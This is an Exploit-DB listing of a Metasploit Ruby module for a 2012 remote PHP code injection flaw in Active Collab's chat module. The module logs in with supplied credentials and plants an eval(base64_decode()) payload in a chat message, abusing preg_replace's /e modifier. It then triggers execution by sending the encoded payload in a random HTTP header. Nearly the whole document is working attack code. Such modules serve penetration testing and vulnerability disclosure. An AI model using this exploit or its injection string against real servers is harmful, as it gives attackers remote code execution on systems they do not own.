Active Collab ‘chat module’ < 2.3.8 - Remote PHP Code Injection (Metasploit)

  • 作者: Metasploit
    日期: 2012-05-19
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/18898/
  • ##
    # This file is part of the Metasploit Framework and may be subject to
    # redistribution and commercial restrictions. Please see the Metasploit
    # web site for more information on licensing and terms of use.
    # http://metasploit.com/
    ##
    
    require 'msf/core'
    
    class Metasploit3 < Msf::Exploit::Remote
    	Rank = ExcellentRanking
    
    	include Msf::Exploit::Remote::HttpClient
    
    	def initialize(info={})
    		super(update_info(info,
    			'Name' => 'Active Collab "chat module" <= 2.3.8 Remote PHP Code Injection Exploit',
    			'Description'=> %q{
    				This module exploits an arbitrary code injection vulnerability in the chat module 
    				that is part of Active Collab by abusing a preg_replace() using the /e modifier and
    				its replacement string using double quotes. The vulnerable function can be found in 
    				activecollab/application/modules/chat/functions/html_to_text.php.
    			},
    			'License'=> MSF_LICENSE,
    			'Author' =>
    				[
    					'mr_me <steventhomasseeley[at]gmail.com>',# vuln discovery & msf module
    				],
    			'References' =>
    				[
    					['URL', 'http://www.activecollab.com/downloads/category/4/package/62/releases'],
    				],
    			'Privileged' => false,
    			'Payload'=>
    				{
    					'Keys'=> ['php'],
    					'Space' => 4000,
    					'DisableNops' => true,
    				},
    			'Platform' => ['php'],
    			'Arch' => ARCH_PHP,
    			'Targets'=> [['Automatic',{}]],
    			'DisclosureDate' => 'May 30 2012',
    			'DefaultTarget'=> 0))
    
    		register_options(
    			[
    				OptString.new('URI',[true, "The path to the ActiveCollab installation", "/"]),
    				OptString.new('USER',[true, "The username (e-mail) to authenticate with"]),
    				OptString.new('PASS',[true, "The password to authenticate with"])
    			],self.class)
    	end
    
    	def check
    
    		login_path = "public/index.php?path_info=login&re_route=homepage"
    		uri = datastore['URI']
    		uri += (datastore['URI'][-1, 1] == "/") ? login_path : "/#{login_path}"
    
    		cms = send_request_raw({'uri' => uri}, 25)
    
    		uri = datastore['URI']
    		uri += (datastore['URI'][-1, 1] == "/") ? 'public/assets/modules/chat/' : '/public/assets/modules/chat/'
    
    		chat = send_request_raw({'uri' => uri}, 25)
    
    		# cant detect the version here
    		if (cms and cms.body =~ /powered by activeCollab/)
    			# detect the chat module
    			if (chat and chat.code == 200)
    				return Exploit::CheckCode::Vulnerable
    			end
    		end
    		return Exploit::CheckCode::Safe
    	end
    
    	def exploit
    		user = datastore['USER']
    		pass = datastore['PASS']
    		p = Rex::Text.encode_base64(payload.encoded)
    		header = rand_text_alpha_upper(3)
    		login_uri = datastore['URI']
    		login_uri += (datastore['URI'][-1, 1] == "/") ? 'public/index.php?path_info=login' : '/public/index.php?path_info=login'
    
    		# login
    		res = send_request_cgi({
    			'method'=> 'POST',
    			'uri' => login_uri,
    			'vars_post' =>
    				{
    					'login[email]'=> user,
    					'login[password]' => pass,
    					'submitted' => "submitted",
    				}
    			}, 40)
    
    		# response handling
    		if res.code == 302
    			if (res.headers['Set-Cookie'] =~ /ac_ActiveCollab_sid_eaM4h3LTIZ=(.*); expires=/)
    				acsession = $1
    			end
    		elsif res.body =~ /Failed to log you in/
    			print_error("Could not login to the target application, check your credentials")
    		elsif res.code != 200 or res.code != 302
    			print_error("Server returned a failed status code: (#{res.code})")
    		end
    
    		# injection
    		iuri = datastore['URI']
    		iuri += (datastore['URI'][-1, 1] == "/") ? 'index.php' : '/index.php'
    		iuri << "?path_info=chat/add_message&async=1" 
    		phpkode = "{\${eval(base64_decode(\$_SERVER[HTTP_#{header}]))}}"
    		injection = "<th>\");#{phpkode}</th>"
    		cookies = "ac_ActiveCollab_sid_eaM4h3LTIZ=#{acsession}"
    		res = send_request_cgi({
    			'method'=> 'POST',
    			'uri' => iuri,
    			'headers' =>
    				{
    					'cookie'=> cookies
    				},
    			'vars_post' =>
    				{
    					'submitted'=> "submitted",
    					'message[message_text]'=> injection,
    					'message[chat_id]' => "1",
    					'message[posted_to_user_id]' => "all"
    				}
    		}, 25)
    
    		euri = datastore['URI']
    		euri += (datastore['URI'][-1, 1] == "/") ? 'public/index.php' : '/public/index.php'
    		euri << "?path_info=/chat/history/1" 
    
    		# execution
    		res = send_request_cgi({
    			'method'=> 'POST',
    			'uri' => euri,
    			'headers' =>
    				{
    					header=> p,
    					'cookie'=> cookies
    				}
    		})
    	end
    end